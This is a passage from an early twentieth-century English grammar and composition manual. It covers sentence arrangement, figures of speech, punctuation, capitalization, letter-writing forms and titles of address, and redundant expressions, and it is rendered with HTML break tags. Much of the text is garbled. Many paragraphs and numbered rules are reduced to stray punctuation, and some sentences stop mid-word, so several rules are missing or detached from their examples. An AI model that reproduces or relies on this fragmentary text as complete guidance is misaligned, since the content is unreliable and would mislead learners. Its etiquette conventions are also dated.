phrase consists of two or more words without a finite verb.<br /><br />Without a finite verb we cannot affirm anything or convey an idea, therefore we can have no sentence.<br /><br /.<br /><br />Thus in every sentence there must be a finite verb to limit the subject.<br /><br />When the verb is transitive, that is, when the action cannot happen without affecting something, the thing affected is called the object.<br /><br />Thus in "Cain killed Abel" the action of the killing affected Abel. In "The cat has caught a mouse," mouse is the object of the catching.<br />ARRANGEMENT OF WORDS IN A SENTENCE<br /><br /.<br /><br /.<br /><br />Most people are familiar with Gray's line in the immortal Elegy—"The ploughman homeward plods his weary way." This line can be paraphrased to read 18 different ways. Here are a few variations:<br /><br /> Homeward the ploughman plods his weary way.<br /> The ploughman plods his weary way homeward.<br /> Plods homeward the ploughman his weary way.<br /> His weary way the ploughman homeward plods.<br /> Homeward his weary way plods the ploughman.<br /> Plods the ploughman his weary way homeward.<br /> His weary way the ploughman plods homeward.<br /> His weary way homeward the ploughman plods.<br /> The ploughman plods homeward his weary way.<br /> The ploughman his weary way plods homeward.<br /><br /.<br /><br />In arranging the words in an ordinary sentence we should not lose sight of the fact that the beginning and end are the important places for catching the attention of the reader. Words in these places have greater emphasis than elsewhere.<br /><br /.<br /><br /.<br /><br /."<br /><br />In the construction of all sentences the grammatical rules must be inviolably observed. The laws of concord, that is, the agreement of certain words, must be obeyed.<br /><br /> 1.<br /><br />."<br /><br /> The agreement of a verb and its subject is often destroyed by confusing (1) collective and common nouns; (2) foreign and English nouns; (3) compound and simple subjects; (4) real and apparent subjects.<br /><br /> ."<br /> 2.<br /><br /> Never use the past participle for the past tense nor vice versa. This mistake is a very common one. At every turn we hear "He done it" for "He did it." "The jar was broke" instead of broken. "He would have went" for "He would have gone," etc.<br /> 3.<br /><br />."<br />."<br /><br /> A very old rule regarding the uses of shall and will is thus expressed in rhyme:<br /><br /> In the first person simply shall foretells,<br /> In will a threat or else a promise dwells.<br /> Shall in the second and third does threat,<br /> Will simply then foretells the future feat.<br /><br /><br /> 4.<br /><br />.<br /> 5.<br /><br />."<br /> 6.<br /><br />."<br /> 7.<br /><br /> Don't use an adjective for an adverb or an adverb for an adjective. Don't say, "He acted nice towards me" but "He acted nicely toward me," and instead of saying "She looked beautifully" say "She looked beautiful."<br /> 8.<br /><br /> Place the adverb as near as possible to the word it modifies. Instead of saying, "He walked to the door quickly," say "He walked quickly to the door."<br /> 9.<br /><br /> Not alone be careful to distinguish between the nominative and objective cases of the pronouns, but try to avoid ambiguity in their use.<br /><br /> The amusing effect of disregarding the reference of pronouns is well illustrated by Burton in the following story of Billy Williams, a comic actor who thus narrates his experience in riding a horse owned by Hamblin, the manager:<br /><br /> "So down I goes to the stable with Tom Flynn, and told the man to put the saddle on him."<br /><br /> "On Tom Flynn?"<br /><br /> "No, on the horse. So after talking with Tom Flynn awhile I mounted him."<br /><br /> "What! mounted Tom Flynn?"<br /><br /> "No, the horse; and then I shook hands with him and rode off."<br /><br /> "Shook hands with the horse, Billy?"<br /><br /> "No, with Tom Flynn; and then I rode off up the Bowery, and who should I meet but Tom Hamblin; so I got off and told the boy to hold him by the head."<br /><br /> "What! hold Hamblin by the head?"<br /><br /> "No, the horse; and then we went and had a drink together."<br /><br /> "What! you and the horse?"<br /><br /> "No, me and Hamblin; and after that I mounted him again and went out of town."<br /><br /> "What! mounted Hamblin again?"<br /><br /> "No, the horse; and when I got to Burnham, who should be there but Tom Flynn,—he'd taken another horse and rode out ahead of me; so I told the hostler to tie him up."<br /><br /> "Tie Tom Flynn up?"<br /><br /> "No, the horse; and we had a drink there."<br /><br /> "What! you and the horse?"<br /><br /> "No, me and Tom Flynn."<br /><br />."<br /><br />SENTENCE CLASSIFICATION<br /><br />There are two great classes of sentences according to the general principles upon which they are founded. These are termed the loose and the periodic.<br /><br /."<br /><br />In the periodic sentence the main idea comes last and is preceded by a series of relative introductions. This kind of sentence is often introduced by such words as that, if, since, because. The following is an example:<br /><br />"That through his own folly and lack of circumspection he should have been reduced to such circumstances as to be forced to become a beggar on the streets, soliciting alms from those who had formerly been the recipients of his bounty, was a sore humiliation."<br /><br />On account of its name many are liable to think the loose sentence an undesirable form in good composition, but this should not be taken for granted. In many cases it is preferable to the periodic form.<br /><br />As a general rule in speaking, as opposed to writing, the loose form is to be preferred, inasmuch as when the periodic is employed in discourse the listeners are apt to forget the introductory clauses before the final issue is reached.<br /><br />Both kinds are freely used in composition, but in speaking, the loose, which makes the direct statement at the beginning, should predominate.<br /><br /."<br /><br /.<br /><br /.<br /><br />Apart from their grammatical construction there can be no fixed rules for the formation of sentences. The best plan is to follow the best authors and these masters of language will guide you safely along the way.<br />THE PARAGRAPH<br /><br /.<br /><br /.<br />:<br /><br />.<br /><br /.<br /><br />It is a custom of good writers to make the conclusion of the paragraph a restatement or counterpart or application of the opening.<br /><br /.<br /><br /.<br /><br />No specific rules can be given as to the construction of paragraphs. The best advice is,—Study closely the paragraph structure of the best writers, for it is only through imitation, conscious or unconscious of the best models, that one can master the art.<br /><br /.<br /><br />A paragraph is indicated in print by what is known as the indentation of the line, that is, by commencing it a space from the left margin.<br />CHAPTER IV<br />FIGURATIVE LANGUAGE<br />Figures of Speech—Definitions and Examples —Use of Figures<br /><br /.<br /><br />We shall only consider the last mentioned here as they are the most important, really giving to language the construction and style which make it a fitting medium for the intercommunication of ideas.<br /><br />Figures of Rhetoric have been variously classified, some authorities extending the list to a useless length. The fact is that any form of expression which conveys thought may be classified as a Figure.<br /><br />The principal figures as well as the most important and those oftenest used are, Simile, Metaphor, Personification, Allegory, Synechdoche, Metonymy, Exclamation, Hyperbole, Apostrophe, Vision, Antithesis, Climax, Epigram, Interrogation and Irony.<br /><br />The first four are founded on resemblance, the second six on contiguity and the third five, on contrast.<br /><br /."<br /><br /.<br /><br /.<br /><br />Personification (from the Latin persona, person, and facere, to make) is the treating of an inanimate object as if it were animate and is probably the most beautiful and effective of all the figures.<br /><br />"The mountains sing together, the hills rejoice and clap their hands."<br /><br />"Earth felt the wound; and Nature from her seat,<br />Sighing, through all her works, gave signs of woe."<br /><br /.<br /><br />An Allegory (from the Greek allos, other, and agoreuein, to speak), is a form of expression in which the words are symbolical of something. It is very closely allied to the metaphor, in fact is a continued metaphor.<br /><br /.<br /><br /.<br /><br /.<br /><br /!"<br /><br /.<br /><br /.<br /><br /!"<br /><br /> "My Country tis of thee—<br /> Sweet land of liberty,<br /> Of thee I sing."<br /><br />"O! Grave, where is thy Victory, O! Death where is thy sting!" This figure is very closely allied to Personification.<br /><br /."<br /><br />This figure is much exemplified in the Bible. The book of Revelation is a vision of the future. The author who uses the figure most is Carlyle.<br /><br />An Antithesis (from the Greek anti, against, and tithenai, to set) is founded on contrast; it consists in putting two unlike things in such a position that each will appear more striking by the contrast.<br /><br /> "Ring out the old, ring in the new,<br /> Ring out the false, ring in the true."<br /><br />"Let us be friends in peace, but enemies in war."<br /><br /."<br /><br /."<br /><br /."<br /><br />Interrogation (from the Latin interrogatio, a question), is a figure of speech in which an assertion is made by asking a question; as, "Does God not show justice to all?" "Is he not doing right in his course?" "What can a man do under the circumstances?"<br /><br /."<br /><br /.<br /><br /.<br />CHAPTER V<br />PUNCTUATION<br />Principal Points—Illustrations—Capital Letters.<br /><br />Lindley Murray and Goold Brown laid down cast-iron rules for punctuation, but most of them have been broken long since and thrown into the junk-heap of disuse. They were too rigid, too strict, went so much into min.<br /><br /.<br /><br />The principal marks of punctuation are:<br /><br /> 1.<br /><br /> The Comma [,]<br /> 2.<br /><br /> The Semicolon [;]<br /> 3.<br /><br /> The Colon [:]<br /> 4.<br /><br /> The Period [.]<br /> 5.<br /><br /> The Interrogation [?]<br /> 6.<br /><br /> The Exclamation [!]<br /> 7.<br /><br /> The Dash [—]<br /> 8.<br /><br /> The Parenthesis [()]<br /> 9.<br /><br /> The Quotation [" "]<br /><br />There are several other points or marks to indicate various relations, but properly speaking such come under the heading of Printer's Marks, some of which are treated elsewhere.<br /><br />Of the above, the first four may be styled the grammatical points, and the remaining five, the rhetorical points.<br /><br />The Comma: The office of the Comma is to show the slightest separation which calls for punctuation at all. It should be omitted whenever possible. It is used to mark the least divisions of a sentence.<br /><br /> 1.<br /><br />."<br /> 2.<br /><br /> A comma is used before a short quotation: "It was Patrick Henry who said, 'Give me liberty or give me death.'"<br /> 3.<br /><br />."<br /> 4.<br /><br /> An expression used parenthetically should be inclosed by commas: "The old man, as a general rule, takes a morning walk."<br /> 5.<br /><br /> Words in apposition are set off by commas: "McKinley, the President, was assassinated."<br /> 6.<br /><br /> Relative clauses, if not restrictive, require commas: "The book, which is the simplest, is often the most profound."<br /> 7.<br /><br /> In continued sentences each should be followed by a comma: "Electricity lights our dwellings and streets, pulls cars, trains, drives the engines of our mills and factories."<br /> 8.<br /><br /> When a verb is omitted a comma takes its place: "Lincoln was a great statesman; Grant, a great soldier."<br /> 9.<br /><br /> The subject of address is followed by a comma: "John, you are a good man."<br /> 10.<br /><br /> In numeration, commas are used to express periods of three figures: "Mountains 25,000 feet high; 1,000,000 dollars."<br /><br />The Semicolon marks a slighter connection than the comma. It is generally confined to separating the parts of compound sentences. It is much used in contrasts:<br /><br /> 1.<br /><br /> "Gladstone was great as a statesman; he was sublime as a man."<br /> 2.<br /><br />."<br /> 3.<br /><br />."<br /><br />The Colon except in conventional uses is practically obsolete.<br /><br /> 1.<br /><br /> It is generally put at the end of a sentence introducing a long quotation: "The cheers having subsided, Mr. Bryan spoke as follows:"<br /> 2.<br /><br /> It is placed before an explanation or illustration of the subject under consideration: "This is the meaning of the term:"<br /> 3.<br /><br /> A direct quotation formally introduced is generally preceded by a colon: "The great orator made this funny remark:"<br /> 4.<br /><br /> The colon is often used in the title of books when the secondary or subtitle is in apposition to the leading one and when the conjunction or is omitted: "Acoustics: the Science of Sound."<br /> 5.<br /><br /> It is used after the salutation in the beginning of letters: "Sir: My dear Sir: Gentlemen: Dear Mr. Jones:" etc. In this connection a dash very often follows the colon.<br /> 6.<br /><br />."<br /><br />The Period is the simplest punctuation mark. It is simply used to mark the end of a complete sentence that is neither interrogative nor exclamatory.<br /><br /> 1.<br /><br /> After every sentence conveying a complete meaning: "Birds fly." "Plants grow." "Man is mortal."<br /> 2.<br /><br /> In abbreviations: after every abbreviated word: Rt. Rev. T. C. Alexander, D.D., L.L.D.<br /> 3.<br /><br /> A period is used on the title pages of books after the name of the book, after the author's name, after the publisher's imprint: American Trails. By Theodore Roosevelt. New York. Scribner Company.<br /><br />The Mark of Interrogation is used to ask or suggest a question.<br /><br /> 1.<br /><br /> Every question admitting of an answer, even when it is not expected, should be followed by the mark of interrogation: "Who has not heard of Napoleon?"<br /> 2.<br /><br /> When several questions have a common dependence they should be followed by one mark of interrogation at the end of the series: "Where now are the playthings and friends of my boyhood; the laughing boys; the winsome girls; the fond neighbors whom I loved?"<br /> 3.<br /><br /> The mark is often used parenthetically to suggest doubt: "In 1893 (?) Gladstone became converted to Home Rule for Ireland."<br /><br />The Exclamation point should be sparingly used, particularly in prose. Its chief use is to denote emotion of some kind.<br /><br /> 1.<br /><br /> It is generally employed with interjections or clauses used as interjections: "Alas! I am forsaken." "What a lovely landscape!"<br /> 2.<br /><br /> Expressions of strong emotion call for the exclamation: "Charge, Chester, charge! On, Stanley, on!"<br /> 3.<br /><br /> When the emotion is very strong double exclamation points may be used: "Assist him!! I would rather assist Satan!!"<br /><br />The Dash is generally confined to cases where there is a sudden break from the general run of the passage. Of all the punctuation marks it is the most misused.<br /><br /> 1.<br /><br /> It is employed to denote sudden change in the construction or sentiment: "The Heroes of the Civil War,—how we cherish them." "He was a fine fellow—in his own opinion."<br /> 2.<br /><br /> When a word or expression is repeated for oratorical effect, a dash is used to introduce the repetition: "Shakespeare was the greatest of all poets—Shakespeare, the intellectual ocean whose waves washed the continents of all thought."<br /> 3.<br /><br /> The Dash is used to indicate a conclusion without expressing it: "He is an excellent man but—"<br /> 4.<br /><br /> It is used to indicate what is not expected or what is not the natural outcome of what has gone before: "He delved deep into the bowels of the earth and found instead of the hidden treasure—a button."<br /> 5.<br /><br /> It is used to denote the omission of letters or figures: "J—n J—s for John Jones; 1908-9 for 1908 and 1909; Matthew VII:5-8 for Matthew VII:5, 6, 7, and 8.<br /> 6.<br /><br /> When an ellipsis of the words, namely, that is, to wit, etc., takes place, the dash is used to supply them: "He excelled in three branches—arithmetic, algebra, and geometry."<br /> 7.<br /><br /> A dash is used to denote the omission of part of a word when it is undesirable to write the full word: He is somewhat of a r——l (rascal). This is especially the case in profane words.<br /> 8.<br /><br /> Between a citation and the authority for it there is generally a dash: "All the world's a stage."—Shakespeare.<br /> 9.<br /><br /> When questions and answers are put in the same paragraph they should be separated by dashes: "Are you a good boy? Yes, Sir.—Do you love study? I do."<br /><br /.<br /><br /> 1.<br /><br /> When the unity of a sentence is broken the words causing the break should be enclosed in parenthesis: "We cannot believe a liar (and Jones is one), even when he speaks the truth."<br /> 2.<br /><br />)."<br /><br /.<br /><br />The Quotation marks are used to show that the words enclosed by them are borrowed.<br /><br /> 1.<br /><br /> A direct quotation should be enclosed within the quotation marks: Abraham Lincoln said,—"I shall make this land too hot for the feet of slaves."<br /> 2.<br /><br /> When a quotation is embraced within another, the contained quotation has only single marks: Franklin said, "Most men come to believe 'honesty is the best policy.'"<br /> 3.<br /><br /> When a quotation consists of several paragraphs the quotation marks should precede each paragraph.<br /> 4.<br /><br /> Titles of books, pictures and newspapers when formally given are quoted.<br /> 5.<br /><br /> Often the names of ships are quoted though there is no occasion for it.<br /><br /.<br />CAPITAL LETTERS<br /><br />Capital letters are used to give emphasis to or call attention to certain words to distinguish them from the context. In manuscripts they may be written small or large and are indicated by lines drawn underneath, two lines for SMALL CAPITALS and three lines for CAPITALS.<br /><br />Some authors, notably Carlyle, make such use of Capitals that it degenerates into an abuse. They should only be used in their proper places as given in the table below.<br /><br /> 1.<br /><br /> The first word of every sentence, in fact the first word in writing of any kind should begin with a capital; as, "Time flies." "My dear friend."<br /> 2.<br /><br /> Every direct quotation should begin with a capital; "Dewey said,—'Fire, when you're ready, Gridley!'"<br /> 3.<br /><br /> Every direct question commences with a capital; "Let me ask you; 'How old are you?'"<br /> 4.<br /><br /> Every line of poetry begins with a capital; "Breathes there a man with soul so dead?"<br /> 5.<br /><br /> Every numbered clause calls for a capital: "The witness asserts: (1) That he saw the man attacked; (2) That he saw him fall; (3) That he saw his assailant flee."<br /> 6.<br /><br /> The headings of essays and chapters should be wholly in capitals; as, CHAPTER VIII—RULES FOR USE OF CAPITALS.<br /> 7.<br /><br /> In the titles of books, nouns, pronouns, adjectives and adverbs should begin with a capital; as, "Johnson's Lives of the Poets."<br /> 8.<br /><br /> In the Roman notation numbers are denoted by capitals; as, I II III V X L C D M—1, 2, 3, 5, 10, 50, 100, 500, 1000.<br /> 9.<br /><br /> Proper names begin with a capital; as, "Jones, Johnson, Caesar, Mark Antony, England, Pacific, Christmas."<br /><br />."<br /><br /> When a proper name is compounded with another word, the part which is not a proper name begins with a capital if it precedes, but with a small letter if it follows, the hyphen; as "Post-homeric," "Sunday-school."<br /> 10.<br /><br /> Words derived from proper names require a Capital; as, "American, Irish, Christian, Americanize, Christianize."<br /><br /> In this connection the names of political parties, religious sects and schools of thought begin with capitals; as, "Republican, Democrat, Whig, Catholic, Presbyterian, Rationalists, Free Thinkers."<br /> 11.<br /><br /> The titles of honorable, state and political offices begin with a capital; as, "President, Chairman, Governor, Alderman."<br /> 12.<br /><br /> The abbreviations of learned titles and college degrees call for capitals; as, "LL.D., M.A., B.S.," etc. Also the seats of learning conferring such degrees as, "Harvard University, Manhattan College," etc.<br /> 13.<br /><br />."<br /> 14.<br /><br />."<br /> 15.<br /><br /> Expressions used to designate the Bible or any particular division of it begin with a capital; as, "Holy Writ, The Sacred Book, Holy Book, God's Word, Old Testament, New Testament, Gospel of St. Matthew, Seven Penitential Psalms."<br /> 16.<br /><br /> Expressions based upon the Bible or in reference to Biblical characters begin with a capital: "Water of Life, Hope of Men, Help of Christians, Scourge of Nations."<br /> 17.<br /><br /> The names applied to the Evil One require capitals: "Beelzebub, Prince of Darkness, Satan, King of Hell, Devil, Incarnate Fiend, Tempter of Men, Father of Lies, Hater of Good."<br /> 18.<br /><br /> Words of very special importance, especially those which stand out as the names of leading events in history, have capitals; as, "The Revolution, The Civil War, The Middle Ages, The Age of Iron," etc.<br /> 19.<br /><br /> Terms which refer to great events in the history of the race require capitals; "The Flood, Magna Charta, Declaration of Independence."<br /> 20.<br /><br /> The names of the days of the week and the months of the year and the seasons are commenced with capitals: "Monday, March, Autumn."<br /> 21.<br /><br /> The Pronoun I and the interjection O always require the use of capitals. In fact all the interjections when uttered as exclamations commence with capitals: "Alas! he is gone." "Ah! I pitied him."<br /> 22.<br /><br /> All noms-de-guerre, assumed names, as well as names given for distinction, call for capitals, as, "The Wizard of the North," "Paul Pry," "The Northern Gael," "Sandy Sanderson," "Poor Robin," etc.<br /> 23.<br /><br />.'"<br /><br />CHAPTER VI<br />LETTER WRITING<br />Principles of Letter-Writing—Forms—Notes<br /><br /. Its forms are so varied by every conceivable topic written at all times by all kinds of persons in all kinds of moods and tempers and addressed to all kinds of persons of varying degrees in society and of different pursuits in life, that no fixed rules can be laid down to regulate its length, style or subject matter. Only general suggestions can be made in regard to scope and purpose, and the forms of indicting set forth which custom and precedent have sanctioned.<br /><br /.<br /><br /.<br /><br /. Even if he should commence,—"deer fren, i lift up my pen to let ye no that i hove been sik for the past 3 weeks, hopping this will findye the same," his spelling and construction can be excused in view of the fact that his intention is good, and that he is doing his best to serve his own turn without depending upon others.<br /><br /.<br /><br /.<br /><br />The letter which is written with the greatest facility is the best kind of letter because it naturally expresses what is in the writer, he has not to search for his words, they flow in a perfect unison with the ideas he desires to communicate. When you write to your friend John Browne to tell him how you spent Sunday you have not to look around for the words, or study set phrases with a view to please or impress Browne, you just tell him the same as if he were present before you, how you spent the day, where you were, with whom you associated and the chief incidents that occurred during the time. Thus, you write natural and it is such writing that is adapted to epistolary correspondence.<br /><br /:<br /><br /> 17 Second Avenue,<br /> New York City.<br /> January 1st, 1910.<br /><br /> Most Rev. P. A. Jordan,<br /> Archbishop of New York.<br /><br /> Most Rev. and dear Sir:—<br /> While sweeping the crossing at Fifth<br /> Avenue and 50th street on last Wednesday<br /> morning, I found the enclosed Fifty Dollar<br /> Bill, which I am sending to you in the hope<br /> that it may be restored to the rightful<br /> owner.<br /> I beg you will acknowledge receipt and<br /> should the owner be found I trust you will<br /> notify me, so that I may claim some reward<br /> for my honesty.<br /> I am, Most Rev. and dear Sir,<br /><br /> Very respectfully yours,<br /> Thomas Jones.<br /><br /.<br /><br /."<br /><br />Letters may be divided into those of friendship, acquaintanceship, those of business relations, those written in an official capacity by public servants, those designed to teach, and those which give accounts of the daily happenings on the stage of life, in other words, news letters.<br /><br /.<br /><br /.<br /><br />Official letters are mostly always formal. They should possess clearness, brevity and dignity of tone to impress the receivers with the proper respect for the national laws and institutions.<br /><br /.<br /><br /.<br />.<br /><br />There are certain rules which govern the other three features and which custom has sanctioned. Every one should be acquainted with these rules.<br />THE HEADING<br /><br />The Heading has three parts, viz., the name of the place, the date of writing and the designation of the person or persons addressed; thus:<br /><br /> 73 New Street,<br /> Newark, N. J.,<br /> February 1st, 1910.<br /> Messr. Ginn and Co.,<br /> New York<br /> Gentlemen:<br /><br /:<br /><br /> My dear Wife:<br /> My dear Husband:<br /> My dear Friend:<br /> My darling Mother:<br /> My dearest Love:<br /> Dear Aunt:<br /> Dear Uncle:<br /> Dear George: etc.<br /><br />To mark a lesser degree of intimacy such formal designations as the following may be employed:<br /><br /> Dear Sir:<br /> My dear Sir:<br /> Dear Mr. Smith:<br /> Dear Madam: etc.<br /><br />For clergymen who have the degree of Doctor of Divinity, the designation is as follows:<br /><br /> Rev. Alban Johnson, D. D.<br /> My dear Sir: or Rev. and dear Sir: or more familiarly<br /> Dear Dr. Johnson:<br /><br />Bishops of the Roman and Anglican Communions are addressed as Right Reverend.<br /><br /> The Rt. Rev., the Bishop of Long Island. or<br /> The Rt. Rev. Frederick Burgess, Bishop of Long Island.<br /> Rt. Rev. and dear Sir:<br /><br />Archbishops of the Roman Church are addressed as Most Reverend and Cardinals as Eminence. Thus:<br /><br /> The Most Rev. Archbishop Katzer.<br /> Most Rev. and dear Sir:<br /><br /> His Eminence, James Cardinal Gibbons, Archbishop of Baltimore.<br /> May it please your Eminence:<br /><br />The title of the Governor of a State or territory and of the President of the United States is Excellency. However, Honorable is more commonly applied to Governors:—<br /><br /> His Excellency, William Howard Taft,<br /> President of the United States.<br /><br /> Sir:—<br /><br /> His Excellency, Charles Evans Hughes,<br /> Governor of the State of New York.<br /><br /> Sir:—<br /><br /> Honorable Franklin Fort,<br /> Governor of New Jersey.<br /><br /> Sir:—<br /><br />The general salutation for Officers of the Army and Navy is Sir. The rank and station should be indicated in full at the head of the letter, thus:<br /><br /> General Joseph Thompson,<br /> Commanding the Seventh Infantry.<br /><br /> Sir:<br /><br /> Rear Admiral Robert Atkinson,<br /> Commanding the Atlantic Squadron.<br /><br /> Sir:<br /><br />The title of officers of the Civil Government is Honorable and they are addressed as Sir.<br /><br /> Hon. Nelson Duncan,<br /> Senator from Ohio.<br /><br /> Sir:<br /><br /> Hon. Norman Wingfield,<br /> Secretary of the Treasury.<br /><br /> Sir:<br /><br /> Hon. Rupert Gresham,<br /> Mayor of New York.<br /><br /> Sir:<br /><br />Presidents and Professors of Colleges and Universities are generally addressed as Sir or Dear Sir.<br /><br /> Professor Ferguson Jenks,<br /> President of .......... University.<br /><br /> Sir: or Dear Sir:<br /><br />Presidents of Societies and Associations are treated as business men and addressed as Sir or Dear Sir.<br /><br /> Mr. Joseph Banks,<br /> President of the Night Owls.<br /><br /> Dear Sir: or Sir:<br /><br />Doctors of Medicine are addressed as Sir: My dear Sir: Dear Sir: and more familiarly My dear Dr: or Dear Dr: as<br /><br /> Ryerson Pitkin, M. D.<br /> Sir:<br /> Dear Sir:<br /> My dear Dr:<br /><br />Ordinary people with no degrees or titles are addressed as Mr. and Mrs. and are designed Dear Sir: Dear Madam: and an unmarried woman of any age is addressed on the envelope as Miss So-and-so, but always designed in the letter as<br /><br /> Dear Madam:<br /><br />The plural of Mr. as in addressing a firm is Messrs, and the corresponding salutation is Dear Sirs: or Gentlemen:<br /><br /.<br />SUBSCRIPTION<br /><br />The Subscription or ending of a letter consists of the term of respect or affection and the signature. The term depends upon the relation of the person addressed. Letters of friendship can close with such expressions as:<br /><br /> Yours lovingly,<br /> Yours affectionately,<br /> Devotedly yours,<br /> Ever yours, etc.<br /><br /.<br /><br />Formal expressions of Subscription are:<br /><br /> Yours Sincerely,<br /> Yours truly,<br /> Respectfully yours,<br /><br />and the like, and these may be varied to denote the exact bearing or attitude the writer wishes to assume to the person addressed: as,<br /><br /> Very sincerely yours,<br /> Very respectfully yours,<br /> With deep respect yours,<br /> Yours very truly, etc.<br /><br />Such elaborate endings as<br /><br /> "In the meantime with the highest respect, I am yours to command,"<br /> "I have the honor to be, Sir, Your humble Servant,"<br /> "With great expression of esteem, I am Sincerely yours,"<br /> "Believe me, my dear Sir, Ever faithfully yours,"<br /><br />are condemned as savoring too much of affectation.<br /><br />It is better to finish formal letters without any such qualifying remarks. If you are writing to Mr. Ryan to tell him that you have a house for sale, after describing the house and stating the terms simply sign yourself<br /><br /> Your obedient Servant<br /> Yours very truly,<br /> Yours with respect,<br /> James Wilson.<br /><br />Don't say you have the honor to be anything or ask him to believe anything, all you want to tell him is that you have a house for sale and that you are sincere, or hold him in respect as a prospective customer.<br /><br />Don't abbreviate the signature as: Y'rs Resp'fly and always make your sex obvious. Write plainly<br />Yours truly,<br />John Field<br /><br />and not J. Field, so that the person to whom you send it may not take you for Jane Field.<br /><br />It is always best to write the first name in full. Married women should prefix Mrs. to their names, as<br />Very sincerely yours,<br />Mrs. Theodore Watson.<br /><br />If you are sending a letter acknowledging a compliment or some kindness done you may say, Yours gratefully, or Yours very gratefully, in proportion to the act of kindness received.<br /><br /,<br /><br /> Sincerely yours,<br /> Obadiah Jackson, M.A. or L.L. D.<br /><br /.<br /><br />Married women whose husbands are alive may sign the husband's name with the prefix Mrs: thus,<br />Yours sincerely,<br />Mrs. William Southey.<br /><br />but when the husband is dead the signature should be—<br />Yours sincerely,<br />Mrs. Sarah Southey.<br /><br />So when we receive a letter from a woman we are enabled to tell whether she has a husband living or is a widow. A woman separated from her husband but not a divorcee should not sign his name.<br />ADDRESS<br /><br />The address of a letter consists of the name, the title and the residence.<br /><br /> Mr. Hugh Black,<br /> 112 Southgate Street,<br /> Altoona,<br /> Pa.<br /><br /<br /><br /> Robert Stitt, M. D., but never<br /> Dr. Robert Stitt, M. D, or<br /> Mr. Robert Stitt, M. D.<br /><br />In writing to a medical doctor it is well to indicate his profession by the letters M. D. so as to differentiate him from a D. D. It is better to write Robert Stitt, M. D., than Dr. Robert Stitt.<br /><br />In the case of clergymen the prefix Rev. is retained even when they have other titles; as<br /><br />Rev. Tracy Tooke, LL. D.<br /><br /."<br /><br /:<br /><br /> His Excellency,<br /> Charles E. Hughes,<br /> Albany,<br /> N. Y.<br /><br />In writing to the President the superscription on the envelope should be<br /><br /> To the President,<br /> Executive Mansion,<br /> Washington, D. C.<br /><br />Professional men such as doctors and lawyers as well as those having legitimately earned College Degrees may be addressed on the envelopes by their titles, as<br /><br /> Jonathan Janeway, M. D.<br /> Hubert Houston, B. L.<br /> Matthew Marks, M. A., etc.<br /><br /,<br /><br /> Liberty,<br /> Sullivan County,<br /> New York.<br /><br /> 215 Minna St.,<br /> San Francisco,<br /> California.<br /><br /.<br /><br />In writing to large business concerns which are well known or to public or city officials it is sometimes customary to leave out number and street. Thus,<br /><br /> Messrs. Seigel, Cooper Co.,<br /> New York City,<br /><br /> Hon. William J. Gaynor,<br /> New York City.<br /><br />NOTES<br /><br /.<br /><br />Don't write the word addressed on the envelope of a note.<br /><br />Don't seal a note delivered by a friend.<br /><br />Don't write a note on a postal card.<br /><br />Here are a few common forms:—<br />FORMAL INVITATIONS<br /><br /> Mr. and Mrs. Henry Wagstaff request the<br /> honor of Mr. McAdoo's presence on Friday<br /> evening, June 15th, at 8 o'clock to meet the<br /> Governor of the Fort.<br /> 19 Woodbine Terrace<br /> June 8th, 1910.<br /><br />This is an invitation to a formal reception calling for evening dress. Here is Mr. McAdoo's reply in the third person:—<br /><br /> Mr. McAdoo presents his compliments to<br /> Mr. and Mrs. Henry Wagstaff and accepts with<br /> great pleasure their invitation to meet the<br /> Governor of the Fort on the evening of June<br /> fifteenth.<br /> 215 Beacon Street,<br /> June 10th, 1910.<br /><br />Here is how Mr. McAdoo might decline the invitation:—<br /><br /> Mr. McAdoo regrets that owing to a prior<br /> engagement he must forego the honor of paying<br /> his respects to Mr. and Mrs. Wagstaff and the<br /> Governor of the Fort on the evening of June<br /> fifteenth.<br /> 215 Beacon St.,<br /> June 10th, 1910.<br /><br />Here is a note addressed, say to Mr. Jeremiah Reynolds.<br /><br /> Mr. and Mrs. Oldham at home on Wednesday<br /> evening October ninth from seven to eleven.<br /> 21 Ashland Avenue,<br /> October 5th.<br /><br />Mr. Reynolds makes reply:—<br /><br /> Mr. Reynolds accepts with high appreciation<br /> the honor of Mr. and Mrs. Oldham's invitation<br /> for Wednesday evening October ninth.<br /> Windsor Hotel<br /> October 7th<br /><br />or<br /><br /> Mr. Reynolds regrets that his duties render<br /> it impossible for him to accept Mr. and Mrs.<br /> Oldham's kind invitation for the evening of<br /> October ninth.<br /> Windsor Hotel,<br /> October 7th,<br /><br />Sometimes less informal invitations are sent on small specially designed note paper in which the first person takes the place of the third. Thus<br /><br /> 360 Pine St.,<br /> Dec. 11th, 1910.<br /> Dear Mr. Saintsbury:<br /> Mr. Johnson and I should be much pleased to<br /> have you dine with us and a few friends next<br /> Thursday, the fifteenth, at half past seven.<br /> Yours sincerely,<br /> Emma Burnside.<br /><br />Mr. Saintsbury's reply:<br /><br /> 57 Carlyle Strand<br /> Dec. 13th, 1910.<br /> Dear Mrs. Burnside:<br /> Let me accept very appreciatively your<br /> invitation to dine with Mr. Burnside and you<br /> on next Thursday, the fifteenth, at half past<br /> seven.<br /> Yours sincerely,<br /> Henry Saintsbury.<br /> Mrs. Alexander Burnside.<br /><br />NOTES OF INTRODUCTION<br /><br />Notes of introduction should be very circumspect as the writers are in reality vouching for those whom they introduce. Here is a specimen of such a note.<br /><br /> 603 Lexington Ave.,<br /> New York City,<br /> June 15th, 1910.<br /><br /> Rev. Cyrus C. Wiley, D. D.,<br /> Newark, N. J.<br /> My dear Dr. Wiley:<br /> I take the liberty of<br /> presenting to you my friend, Stacy Redfern,<br /> M. D., a young practitioner, who is anxious<br /> to locate in Newark. I have known him many<br /> years and can vouch for his integrity and<br /> professional standing. Any courtesy and<br /> kindness which you may show him will be very<br /> much appreciated by me.<br /> Very sincerely yours,<br /> Franklin Jewett.<br /><br />CHAPTER VII<br />ERRORS<br />Mistakes—Slips of Authors—Examples and Corrections—Errors of Redundancy.<br /><br />In the following examples the word or words in parentheses are uncalled for and should be omitted:<br /><br /> 1.<br /><br /> Fill the glass (full).<br /> 2.<br /><br /> They appeared to be talking (together) on private affairs.<br /> 3.<br /><br /> I saw the boy and his sister (both) in the garden.<br /> 4.<br /><br /> He went into the country last week and returned (back) yesterday.<br /> 5.<br /><br /> The subject (matter) of his discourse was excellent.<br /> 6.<br /><br /> You need not wonder that the (subject) matter of his discourse was excellent; it was taken from the Bible.<br /> 7.<br /><br /> They followed (after) him, but could not overtake him.<br /> 8.<br /><br /> The same sentiments may be found throughout (the whole of) the book.<br /> 9.<br /><br /> I was very ill every day (of my life) last week.<br /> 10.<br /><br /> That was the (sum and) substance of his discourse.<br /> 11.<br /><br /> He took wine and water and mixed them (both) together.<br /> 